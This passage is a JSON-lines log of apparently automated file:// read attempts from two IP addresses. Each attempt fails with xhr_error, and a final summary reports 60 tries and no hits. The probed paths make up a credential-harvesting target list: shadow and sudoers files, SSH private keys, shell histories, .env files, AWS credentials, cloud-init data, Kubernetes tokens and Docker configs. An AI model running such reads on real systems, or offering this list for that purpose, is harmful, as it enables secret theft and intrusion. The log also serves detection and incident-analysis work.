"error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:43.933850+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/group", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:44.343332+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/sudoers", "ok": false, "status": null, "error": "xhr_error", "elapsed": 3, "body": null}} {"ts": "2026-06-15T00:07:44.757526+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/hosts", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:45.152359+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/hostname", "ok": false, "status": null, "error": "xhr_error", "elapsed": 3, "body": null}} {"ts": "2026-06-15T00:07:45.554541+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/resolv.conf", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:45.969266+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/os-release", "ok": false, "status": null, "error": "xhr_error", "elapsed": 3, "body": null}} {"ts": "2026-06-15T00:07:46.376378+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///proc/self/environ", "ok": false, "status": null, "error": "xhr_error", "elapsed": 3, "body": null}} {"ts": "2026-06-15T00:07:46.782185+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///proc/self/cmdline", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:47.182201+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///proc/self/status", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:47.588217+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///proc/version", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:48.002063+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///proc/net/tcp", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:48.409779+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///proc/net/fib_trie", "ok": false, "status": null, "error": "xhr_error", "elapsed": 3, "body": null}} {"ts": "2026-06-15T00:07:48.816384+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///root/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:07:49.218884+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///root/.ssh/id_ed25519", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:07:49.625661+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///root/.ssh/authorized_keys", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:50.029614+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///home/ubuntu/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:50.432894+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///home/ec2-user/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:07:50.840679+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///home/app/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:51.247658+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///root/.bash_history", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:07:51.666525+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///root/.bashrc", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:07:52.182647+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///root/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:07:52.472372+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///home/ubuntu/.bash_history", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:07:52.897912+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///home/ubuntu/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 2, "body": null}} {"ts": "2026-06-15T00:07:53.296210+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///root/.aws/credentials", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:11.111352+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/passwd", "ok": false, "status": null, "error": "xhr_error", "elapsed": 3, "body": null}} {"ts": "2026-06-15T00:26:11.510706+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/shadow", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:11.908509+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/group", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:12.310875+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/sudoers", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:12.711162+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/hosts", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:13.113221+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/hostname", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:13.520505+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/resolv.conf", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:13.916802+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/os-release", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:14.319061+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///proc/self/environ", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:14.719999+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///proc/self/cmdline", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:15.121068+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///proc/self/status", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:15.521897+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///proc/version", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:15.922798+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///proc/net/tcp", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:16.328392+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///proc/net/fib_trie", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:16.726028+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:17.126341+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.ssh/id_ed25519", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:17.527389+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.ssh/authorized_keys", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:17.929649+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///home/ubuntu/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:18.330565+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///home/ec2-user/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:18.733820+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///home/app/.ssh/id_rsa", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:19.135292+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.bash_history", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:19.536123+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.bashrc", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:19.936801+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:20.338854+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///home/ubuntu/.bash_history", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:20.744507+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///home/ubuntu/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:21.139771+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.aws/credentials", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:21.541023+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.aws/config", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:21.941930+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///home/ubuntu/.aws/credentials", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:22.346679+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///home/ec2-user/.aws/credentials", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:22.748235+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/boto.cfg", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:23.147011+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///run/cloud-init/instance-data.json", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:23.548059+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///run/cloud-init/instance-data-sensitive.json", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:23.953599+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/lib/cloud/instance/user-data.txt", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:24.352252+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/ecs/ecs.config", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:24.750227+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/runtime/bootstrap", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:25.152751+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/task/index.js", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:25.558263+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/task/handler.py", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:25.955422+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///tmp/credentials", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:26.357348+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/run/secrets/kubernetes.io/serviceaccount/token", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:26.757967+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:27.159509+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/run/secrets/kubernetes.io/serviceaccount/namespace", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:27.559924+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/kubernetes/admin.conf", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:27.964316+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.kube/config", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:28.364033+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///app/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:28.764343+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///app/config.json", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:29.165888+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///app/config.yaml", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:29.565772+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///app/application.properties", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:29.968726+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///app/application.yml", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:30.368859+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///srv/app/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:30.771538+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/www/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:31.174354+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/www/html/.env", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:31.575568+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///root/.docker/config.json", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:31.974117+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/docker/daemon.json", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:32.375290+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/nginx/nginx.conf", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:32.777784+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/nginx/sites-enabled/default", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:33.179219+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///etc/apache2/apache2.conf", "ok": false, "status": null, "error": "xhr_error", "elapsed": 1, "body": null}} {"ts": "2026-06-15T00:26:33.580797+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/log/nginx/access.log", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:33.981433+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/log/nginx/error.log", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:34.382907+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/log/auth.log", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:34.784149+00:00", "src_ip": "13.238.215.170", "label": "file", "data": {"path": "file:///var/log/cloud-init-output.log", "ok": false, "status": null, "error": "xhr_error", "elapsed": 0, "body": null}} {"ts": "2026-06-15T00:26:34.788776+00:00", "src_ip": "13.238.215.170", "label": "summary", "data": {"total": 60, "hits": 0, "paths": [{"path": "/etc/passwd", "status": "xhr_error", "preview": ""}, {"path": "/etc/shadow", "status": "xhr_error", "preview": ""}, {"path": "/etc/group", "status": "xhr_error", "preview": ""}, {"path": "/etc/sudoers", "status": "xhr_error", "preview": ""}, {"path": "/etc/hosts", "status": "xhr_error", "preview": ""}, {"path": "/etc/hostname", "status": "xhr_error", "preview": ""}, {"path": "/etc/resolv.conf", "status": "xhr_error", "preview": ""}, {"path": "/etc/os-release", "status": "xhr_error", "preview": ""}, {"path": "/proc/self/environ", "status": "xhr_error", "preview": ""}, {"path": "/proc/self/cmdline", "status": "xhr_error", "preview": ""}, {"path": "/proc/self/status", "status": "xhr_error", "preview": ""}, {"path": "/proc/version", "status": "xhr_error", "preview": ""}, {"path": "/proc/net/tcp", "status": "xhr_error", "preview": ""}, {"path": "/proc/net/fib_trie", "status": "xhr_error", "preview": ""}, {"path": "/root/.ssh/id_rsa", "status": "xhr_error", "preview": ""}, {"path": "/root/.ssh/id_ed25519", "status": "xhr_error", "preview": ""}, {"path": "/root/.ssh/authorized_keys", "status": "xhr_error", "preview": ""}, {"path": "/home/ubuntu/.ssh/id_rsa", "status": "xhr_error", "preview": ""}, {"path": "/home/ec2-user/.ssh/id_rsa", "status": "xhr_error", "preview": ""}, {"path": "/home/app/.ssh/id_rsa", "status": "xhr_error", "preview": ""}, {"path": "/root/.bash_history", "status": "xhr_error", "preview": ""}, {"path": "/root/.bashrc", "status": "xhr_error", "preview": ""}, {"path": "/root/.env", "status": "xhr_error", "preview": ""}, {"path": "/home/ubuntu/.bash_history", "status": "xhr_error", "preview": ""}, {"path": "/home/ubuntu/.env", "status": "xhr_error", "preview": ""}, {"path": "/root/.aws/credentials", "status": "xhr_error", "preview": ""}, {"path": "/root/.aws/config", "status": "xhr_error", "preview": ""}, {"path": "/home/ubuntu/.aws/credentials", "status": "xhr_error", "preview": ""}, {"path": "/home/ec2-user/.aws/credentials", "status": "xhr_error", "preview": ""}, {"path": "/etc/boto.cfg", "status": "xhr_error", "preview": ""}, {"path": "/run/cloud-init/instance-data.json", "status": "xhr_error", "preview": ""}, {"path": "/run/cloud-init/instance-data-sensitive.json", "status": "xhr_error", "preview": ""}, {"path": "/var/lib/cloud/instance/user-data.txt", "status": "xhr_error", "preview": ""}, {"path": "/etc/ecs/ecs.config", "status": "xhr_error", "preview": ""}, {"path": "/var/runtime/bootstrap", "status": "xhr_error", "preview": ""}, {"path": "/var/task/index.js", "status": "xhr_error", "preview": ""}, {"path": "/var/task/handler.py", "status": "xhr_error", "preview": ""}, {"path": "/tmp/credentials", "status": "xhr_error", "preview": ""}, {"path": "/var/run/secrets/kubernetes.io/serviceaccount/token", "status": "xhr_error", "preview": ""}, {"path": "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", "status": "xhr_error", "preview": ""}, {"path": "/var/run/secrets/kubernetes.io/serviceaccount/namespace", "status": "xhr_error", "preview": ""}, {"path": "/etc/kubernetes/admin.conf", "status": "xhr_error", "preview": ""}, {"path": "/root/.kube/config", "status": "xhr_error", "preview": ""}, {"path": "/app/.env", "status": "xhr_error", "preview": ""}, {"path": "/app/config.json", "status": "xhr_error", "preview": ""}, {"path": "/app/config.yaml", "status": "xhr_error", "preview": ""}, {"path": "/app/application.properties", "status": "xhr_error", "preview": ""}, {"path": "/app/application.yml", "status": "xhr_error", "preview": ""}, {"path": "/srv/app/.env", "status": "xhr_error", "preview": ""}, {"path": "/var/www/.env", "status": "xhr_error", "preview": ""}, {"path": "/var/www/html/.env", "status": "xhr_error", "preview": ""}, {"path": "/root/.docker/config.json", "status": "xhr_error", "preview": ""}, {"path": "/etc/docker/daemon.json", "status": "xhr_error", "preview": ""}, {"path": "/etc/nginx/nginx.conf", "status": "xhr_error", "preview": ""}, {"path": "/etc/nginx/sites-enabled/default", "status": "xhr_error", "preview": ""}, {"path": "/etc/apache2/apache2.conf", "status": "xhr_error", "preview": ""}, {"path": "/var/log/nginx/access.log", "status": "xhr_error", "preview": ""}, {"path": "/var/log/nginx/error.log", "status": "xhr_error", "preview": ""}, {"path": "/var/log/auth.log", "status": "xhr_error", "preview": ""}, {"path": "/var/log/cloud-init-output.log", "status": "xhr_error", "preview": ""}]}}